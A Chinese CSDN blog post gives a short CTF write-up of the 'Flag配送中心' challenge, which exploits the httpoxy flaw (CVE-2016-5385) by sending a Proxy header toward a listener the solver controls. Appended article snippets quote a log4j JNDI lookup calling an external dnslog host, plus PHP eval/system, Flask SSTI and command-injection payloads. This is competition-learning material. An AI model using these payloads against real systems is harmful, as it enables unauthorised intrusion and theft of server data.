长安战“疫”--Flag配送中心

最新推荐文章于 2022-01-20 01:14:45 发布
最新推荐文章于 2022-01-20 01:14:45 发布
阅读量1.3k 收藏
点赞数
文章标签： ctf
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_46263951/article/details/122483548
版权

其实看到Flag已发送至www.yunyansec.com!就应该想到。。。
对这个洞的理解是把本该发送到yunyansec.com上的内容发送到了我们的代理服务器上

添加请求头Proxy:http://ip/port

监听端口 

 

Uzero.
关注
Flag配送中心(CVE-2016-5385)
ce666666的博客
01-16 2343
前言 借着这道题，对CVE-2016-5385这个漏洞进行复现。 漏洞原理 CGI模式中会把请求的Header,加上HTTP_前缀,注册为环境变量.你在>Header发送proxy:ip:port,php服务器会把他注册为http_proxy环境变量 你的proxy会成为人家服务器的http_proxy环境变量，服务器通过代理请求的信息都会发到你代理的地址。 过程是： A向B 发送请求，B会处理A发来的信息并发给A 如果A挂上C的proxy（可以是C的IP地址），这时候B收到A的请求并处理A发
长安“战役“网络安全卫士守护赛
Keepb1ue的博客
01-14 2331
文章目录Webshiro?RCE_No_ParaFlag配送中心Misc迷宫朴实无华的取证无字天书stegbinaryCryptono_cry_no_bbno_cry_no_canno_math_no_cryReversecombat_slogancute_doge Web shiro? 很明显不是一般的shiro，很多命令都不能用，又是Sprintboot框架，那可以尝试log4j RCE 发现存在WAF检测，bypass测试绕过：${${::-j}ndi:rmi://r5qm53.dnslog.cn/
长安“战疫“网络安全赛Writeup
Le1a's Blog
01-12 3986
Web RCE_No_Para 无参RCE ?1=system('tac flag.php');&code=eval(current(current(get_defined_vars()))); flask admin?static.js? 然后发现传参点：?name= 简单试了下SSTI，发现过滤了引号等符号 考虑attr结合16进制来绕过 {{a|attr(%27\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f%27)|attr(%27\x5f\x5f\x62\x6
腾讯犀牛鸟网络安全T-Star高校挑战赛writeup
qq_42188168的博客
06-30 859
高校组 今天你吃了吗战队WRITEUP 三、 解题过程 题目一 签到 操作内容： Js检测，禁用js即可上传 http://588f25a5.yunyansec.com/upload/2.php 蚁剑连接即可 如该题使用自己编写的脚本请详细写出，不允许截图 flag值： key{K735c9f0D7ddc3b9} 题目二 命令执行基础 操作内容： 命令执行payload：127.0.0.1|ls … 127.0.0.1|cat …/key.php 如该题使用自己编写的脚本请详细写出，不允许截图 flag值：
[长安战疫-cazy] Web题解
weixin_51804748的博客
01-20 2858
RCE_No_Para <?php if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { if(!preg_match('/session|end|next|header|dir/i',$_GET['code'])){ eval($_GET['code']); }else{ die("Hacker!"); } }else{ show_source(__FIL
长安“战疫”网络安全赛-wp
qq_45603443的博客
01-11 5986
长安“战疫”网络安全赛-wpWebtpshiro?Baby_Uploadflag配送中心flaskRCE_No_ParaCryptono_can_no_bbmathLinearEquationsno_mah_no_cryno_cry_no_canMiscez_Encryptbinary西安加油Ez Steg八卦迷宫无字天书朴实无华的取证Reverselemoncombat_slogancute_dogehello_pyPwnpwn1重点来了 Web tp 文件上传+phar反序列化 <?php nam
[CTF]2021长安战疫 WP
Sapphire037的博客
01-09 2960
前言 这次比赛还是挺有意义的。 WEB flask url结尾要是.js? 直接放payload GET /admin?name={{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}}&a=.js? HTTP/1.1 Host: bd8f7859.lxctf.net User-Agent: Mozi
长安“战疫”网络安全卫士守护赛writeup
qq_53460654的博客
01-09 4255
长安“战疫”网络安全卫士守护赛writeup misc 八卦迷宫 得到flag cazy{zhanchangyangchangzhanyanghechangshanshananzhanyiyizhanyianyichanganyang} 西安加油 tcp流里面找到base64编码 在线转为zip解压 拼图得到flag cazy{make_XiAN_great_Again} web RCE_No_Para <?php if(';' === preg_replace('/[^\W]+\((?R)
基于A*算法的往返式全覆盖路径规划改进及其Matlab实现
04-09
内容概要：本文详细介绍了如何利用A*算法改进传统的往返式路径规划，解决扫地机器人在复杂环境中容易卡住的问题。首先构建了一个可视化的栅格地图用于模拟环境，然后引入了优先级运动规则，使机器人能够有规律地进行往返清扫。当遇到死角时，通过A*算法计算最佳逃生路径，确保机器人能够顺利脱困并继续完成清扫任务。实验结果显示，改进后的算法显著提高了清洁覆盖率，降低了路径重复率。此外，还讨论了一些潜在的优化方向，如动态调整启发函数权重、断点续传以及能耗模型等。 适合人群：对路径规划算法感兴趣的科研人员、自动化专业学生、扫地机器人开发者。 使用场景及目标：适用于需要高覆盖率和低重复率的室内清洁任务，旨在提高扫地机器人的工作效率和智能化水平。 其他说明：文中提供了详细的Matlab代码实现，并附带了仿真测试结果，有助于读者理解和复现该算法。
爬取喜马拉雅听书(1).py
04-09
爬取喜马拉雅听书(1)
安卓向上传递数据学习笔记总结
最新发布
04-09
安卓向上传递数据学习笔记总结
tigervnc-selinux-1.11.0-9.el8.x64-86.rpm.tar.gz
04-09
1、文件说明： Centos8操作系统tigervnc-selinux-1.11.0-9.el8.rpm以及相关依赖，全打包为一个tar.gz压缩包 2、安装指令： #Step1、解压 tar -zxvf tigervnc-selinux-1.11.0-9.el8.tar.gz #Step2、进入解压后的目录，执行安装 sudo rpm -ivh *.rpm
户外储能电源双向逆变器板生产资料及技术规格详解
04-09
内容概要：本文详细介绍了户外储能电源双向逆变器板的技术资料及其特点。涵盖原理文件、PCB文件、源代码、电感与变压器规格参数等，适用于2KW（最大3KW）的户外储能电源。文中强调了双向软开关DC-DC设计、两颗M0+ 32位MCU的分工、SPWM调制方式、H桥IGBT的应用、详细的电气参数和技术特性。此外，还包括了SPWM信号生成代码示例、硬件设计细节、生产注意事项等。 适合人群：从事户外储能电源开发的技术人员、电子工程师、产品经理等。 使用场景及目标：帮助开发者快速掌握双向逆变器板的设计和生产要点，缩短产品研发周期，提高产品质量和可靠性。具体应用场景包括但不限于户外应急电源、便携式储能设备等。 其他说明：本文提供了丰富的技术细节和实践经验，如双向软开关DC-DC设计、SPWM调制、IGBT驱动、EMC整改记录等，有助于解决实际开发中的难题。同时，附带的实际案例展示了该方案的成功应用，进一步证明了其可行性和优越性。
电能质量分析：间谐波分析.zip
04-09
电子仿真教程，从基础到精通，每个压缩包15篇教程，每篇教程5000字以上。
【计算机科学领域】美国计算机学会(ACM)：组织架构、使命愿景、核心价值及活动项目介绍
04-09
内容概要：美国计算机学会（ACM）是一个成立于1947年的国际性计算机专业组织，致力于推动计算机科学的发展，提供教育、资源和专业发展机会。ACM的使命是促进计算机科学和信息技术领域的进步，愿景是成为全球计算机专业人士的首选组织。其核心价值包括卓越、诚信、包容性、合作和创新。ACM定期举办学术会议，如SIGGRAPH和图灵奖颁奖典礼，出版高质量的学术期刊和会议论文集，涵盖人工智能、软件工程、网络安全等领域。此外，ACM还提供在线课程、研讨会、认证项目等教育资源，以及职业规划、网络机会和领导力培训等职业发展服务。ACM图灵奖被誉为“计算机界的诺贝尔奖”，每年颁发给对计算机科学和技术做出重大贡献的个人。; 适合人群：计算机科学领域的专业人士、教育工作者、工程师和学生。; 使用场景及目标：①了解计算机科学领域的最新研究成果和发展趋势；②获取高质量的教育资源和职业发展机会；③参与计算机科学领域的学术交流和合作。; 其他说明：ACM作为一个全球性的组织，在教育、研究和行业实践中发挥着重要作用，推动了技术创新和社会进步。
最新版logstash-8.17.4-windows-x86-64.zip
04-09
logstash-8.17.4-windows-x86_64.zip
一个基于Springboot使用Aspect实现一个切面，以记录日志为例
04-09
springboot 一个基于Springboot使用Aspect实现一个切面，以记录日志为例
音箱底部折边设备sw22可编辑_三维3D设计图纸_包括零件图_机械3D图可修改打包下载_三维3D设计图纸_包括零件图_机械3D图可修改打包下载.zip
04-09
音箱底部折边设备sw22可编辑_三维3D设计图纸_包括零件图_机械3D图可修改打包下载_三维3D设计图纸_包括零件图_机械3D图可修改打包下载.zip
基于Python Django MySQL的个性化图书推荐系统：协同过滤算法及远程部署实现
04-09
内容概要：本文详细介绍了如何使用Python、Django和MySQL构建一个完整的个性化图书推荐系统。系统从前端界面设计、后端逻辑实现到数据库设计，涵盖了用户管理、图书管理、评分系统等功能模块。重点讲解了基于用户和项目的协同过滤算法实现，以及在用户评分数据不足时的标签推荐备份方案。此外，还包括了系统部署、测试和优化的具体步骤，如云服务器部署、性能测试、数据库优化等。 适合人群：具备一定Python和Web开发基础的研发人员，尤其是对推荐系统感兴趣的技术爱好者。 使用场景及目标：适用于希望深入了解图书推荐系统的工作原理和实现细节的技术人员。目标是帮助读者掌握从零开始搭建一个完整的个性化推荐系统的方法，包括前后端开发、算法实现和系统部署。 其他说明：文中提供了大量代码示例和实战经验，如数据库设计、爬虫实现、权限管理等，有助于读者更好地理解和应用相关技术。
csv-json-flag-keeper：自动化工作流中记录标志管理工具
资源摘要信息:"csv-json-flag-keeper：在您的记录上保留标志:page_with_curl:" csv-json-flag-keeper是一个项目，旨在实现一种工作流程自动化，以便在记录数据时保留特定的标志。这种工具或服务可以处理CSV文件中的...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值